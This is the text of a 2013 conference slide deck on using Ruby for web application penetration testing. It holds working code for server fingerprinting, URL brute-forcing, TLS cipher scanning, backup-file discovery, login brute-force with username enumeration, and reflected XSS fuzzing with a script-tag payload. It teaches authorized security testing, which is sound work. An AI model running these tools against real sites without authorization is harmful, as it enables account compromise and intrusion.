festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

Solid as Diamond
Using Ruby in a web application penetration test
Wednesday, September 18, 13

self.inspect
• I do stuff: husband, proud father
&& martial artist
• I break other people code for living
(only when authorized)
• I blog at: http://armoredcode.com
• I’m on github too: https://
github.com/thesp0nge
• I love twitter: @thesp0nge,
@armoredcode
2

talk.inspect
• Owasp Top 10 2013
• Ruby code to...
• Leverage a web application attack surface
• Bruteforce authentication mechanism
• Look for Cross site scripting
3

Disclaimer
4
Attack only sites you’re authorized to

Change your mindset. You’re an attacker now!
5
Your web application is a blackbox
You’ve got only a URL as a starting point
(optional) You may have a valid user, instead you have to register a
user to the application
Good luck!

It all starts with...
6
... someone wants to publish a new web
application on the Internet or on an Internal
network, she gives me the url saying:
“test it for security issues, please”...

Our target
7

The Owasp Top 10 - 2013
8
• A1 – Injection
• A2 – Broken Authentication and Session Management
• A3 – Cross-Site Scripting (XSS)
• A4 – Insecure Direct Object References
• A5 – Security Misconﬁguration
• A6 – Sensitive Data Exposure
• A7 – Missing Function Level Access Control
• A8 – Cross-Site Request Forgery (CSRF)
• A9 – Using Known Vulnerable Components
• A10 – Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2013

Leverage your attack surface
9

Leverage your attack surface
10
Spot attack entrypoints:
(robots.txt and url
discovery with bruteforce)
Fingerprint your target
Check transport layer
security
Check for the service door
(backup ﬁles)

11
• Meta generator tag
• Server HTTP response field
• X-Powered-by HTTP response field
• Popular pages with extension (login.do,
index.jsp, main.asp, login.php, phpinfo.php...)
• The HTTP response field order (soon it will be
implemented in the gengiscan gem)

12
def detect(url)
uri = URI(url)
begin
res = Net::HTTP.get_response(uri)
{:status=>:OK, :code=>res.code, :server=>res['Server'],
:powered=>res['X-Powered-By'], :generator=>get_generator_signature(res)}
rescue
{:status=>:KO, :code=>nil, :server=>nil, :powered=>nil, :generator=>nil}
end
end
def get_generator_signature(res)
generator = ""
doc=Nokogiri::HTML(res.body)
doc.xpath("//meta[@name='generator']/@content").each do |value|
generator = value.value
end
generator
end
$ gem install gengiscan
$ gengiscan http://localhost:4567
{:status=>:OK, :code=>"404", :server=>"WEBrick/1.3.1 (Ruby/
1.9.3/2012-04-20)", :powered=>nil, :generator=>""}

Spot attack entrypoints
13
robots.txt
to discover
to ﬁngerprint

14
# TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001)
def self.robots(site)
site = 'http://'+site unless site.start_with? 'http://' or site.start_with? 'https://'
allow_list = []
disallow_list = []
begin
res=Net::HTTP.get_response(URI(site+'/robots.txt'))
return {:status=>:KO, :allow_list=>[],
:disallow_list=>[],
:error=>"robots.txt response code was #{res.code}"} if (res.code != "200")
res.body.split("n").each do |line|
disallow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('disallow'))
allow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('allow'))
end
rescue Exception => e
return {:status=>:KO, :allow_list=>[], :disallow_list=>[], :error=>e.message}
end
{:status=>:OK, :allow_list=>allow_list, :disallow_list=>disallow_list, :error=>""}
end
$ gem install codesake_links
$ links -r http://localhost:4567

15
• Use a dictionary to discover URLs with
bruteforce
• Very intrusive attack... you’ll be busted, be
aware
$ gem install codesake_links
$ links -b test_case_dir_wordlist.txt http://localhost:4567

Check transport layer security
16
$ gem install ciphersurfer
$ ciphersurfer www.gmail.com
Evaluating secure communication with www.gmail.com:443
Overall evaluation : B (76.5)
Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo (55)
Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (80)
Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo (90)
Evaluate an SSL connection for:
• protocols the server supports
• cipher length
• certiﬁcate key length

Check transport layer security
17
def go
context=OpenSSL::SSL::SSLContext.new(@proto)
cipher_set = context.ciphers
cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|
request = Net::HTTP.new(@host, @port)
request.use_ssl = true
request.verify_mode = OpenSSL::SSL::VERIFY_NONE
request.ciphers= cipher_name
begin
response = request.get("/")
@ok_bits << bits
@ok_ciphers << cipher_name
rescue OpenSSL::SSL::SSLError => e
# Quietly discard SSLErrors, really I don't care if the cipher has
# not been accepted
rescue
# Quietly discard all other errors... you must perform all error
# chekcs in the calling program
end
end
end
protocol_version.each do |version|
s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version})
s.go
if (s.ok_ciphers.size != 0)
supported_protocols << version
cipher_bits = cipher_bits | s.ok_bits
ciphers = ciphers | s.ok_ciphers
end
end

Check for the service door
18
require 'anemone'
require 'httpclient'
h=HTTPClient.new()
Anemone.crawl(ARGV[0]) do |anemone|
anemone.on_every_page do |page|
response = h.get(page.url)
puts "Original: #{page.url}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat(".bak"))
puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat(".old"))
puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}"
response = h.get(page.url.to_s.split(";")[0].concat("~"))
puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}"
end
end

Demo
19

Bruteforce authentication
mechanism
20

Am I vulnerable?
21

Am I vulnerable?
22

How do I break this?
23
1. Use an existing user to check the HTML
<p>
Wrong password for admin user
</p>
2. Place a canary string to anonymize the
output
<p>
Wrong password for canary_username
user
</p>
3. Submit the post and check if the response is the
one expected with the canary substituted
<p>
Wrong password for tom user
</p>

24
def post(url, username, password)
agent = Mechanize.new
agent.user_agent_alias = 'Mac Safari'
agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
username_set = false
password_set = false
page = agent.get(url)
page.forms.each do |form|
form.fields.each do |field|
if field.name.downcase == 'username' or field.name.downcase== 'login'
username_set = true
field.value = username
end
if field.name.downcase == 'password' or field.name.downcase== 'pass' or
field.name.downcase== 'pwd'
password_set = true
field.value = password
end
end
return agent.submit(form) if username_set and password_set
end
return nil
end

25
log("existing user #{username} used as canary")
wrong_pwd = post(url, username, "caosintheground").body.gsub(username, 'canary_username')
wrong_creds = post(url, "caostherapy", "caosintheground").body.gsub("caostherapy",
"canary_username")
if ! line.start_with?("#")
sleep(@sleep_time)
log("awake... probing with: #{line}")
r= post(url, line, ".4nt4n1")
found << line if r.body == wrong_pwd.gsub("canary_username", line)
end

Demo
26

Look for Cross Site Scripting
(reflected)
27

28

29

30
• In GETs
• Submit the attack payload as parameter in the query string
• Parse HTML and check if payload is in the script nodes
• In POSTs
• Get the page
• Find the form(s)
• Fill the form input values with attack payload
• Submit the form
• Parse HTML and check if payload is in the script nodes

31
attack_url = Cross::Url.new(url)
Cross::Attack::XSS.each do |pattern|
attack_url.params.each do |par|
page = @agent.get(attack_url.fuzz(par[:name],pattern))
@agent.log.debug(page.body) if debug?
scripts = page.search("//script")
scripts.each do |sc|
found = true if sc.children.text.include?("alert('cross canary')")
@agent.log.debug(sc.children.text) if @options[:debug]
end
attack_url.reset
end
end
Exploiting GETs...
$ gem install cross
$ cross -u http://localhost:4567/hello?name=paolo

32
begin
page = @agent.get(url)
rescue Mechanize::UnauthorizedError
puts 'Authentication failed. Giving up.'
return false
rescue Mechanize::ResponseCodeError
puts 'Server gave back 404. Giving up.'
return false
end
puts "#{page.forms.size} form(s) found" if debug?
page.forms.each do |f|
f.fields.each do |ff|
ff.value = "<script>alert('cross canary');</script>"
end
pp = @agent.submit(f)
puts "#{pp.body}" if debug?
scripts = pp.search("//script")
scripts.each do |sc|
found = true if sc.children.text == "alert('cross canary');"
end
end
Exploiting POSTs...
$ gem install cross
$ cross http://localhost:4567/login

Demo
33

What we learnt
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• Don’t trust your users
• “Security through obscurity” is EVIL
• Testing for security issues is a mandatory
step before deploy
• HTTPS won’t safe from XSS or SQL Injections

Some links before we leave
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http://armoredcode.com/blog/categories/pentest-with-ruby/
https://github.com/codesake
http://ronin-ruby.github.com/
https://github.com/rapid7/metasploit-framework
http://www.owasp.org
http://brakemanscanner.org/
Not mine, here because they’re
cool
http://www.youtube.com/user/armoredcodedotcom

Questions?
36

Thank you!
37

festival ICT 2013: Solid as diamond: use ruby in an web application penetration test

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festival ICT 2013: Solid as diamond: use ruby in an web application penetration test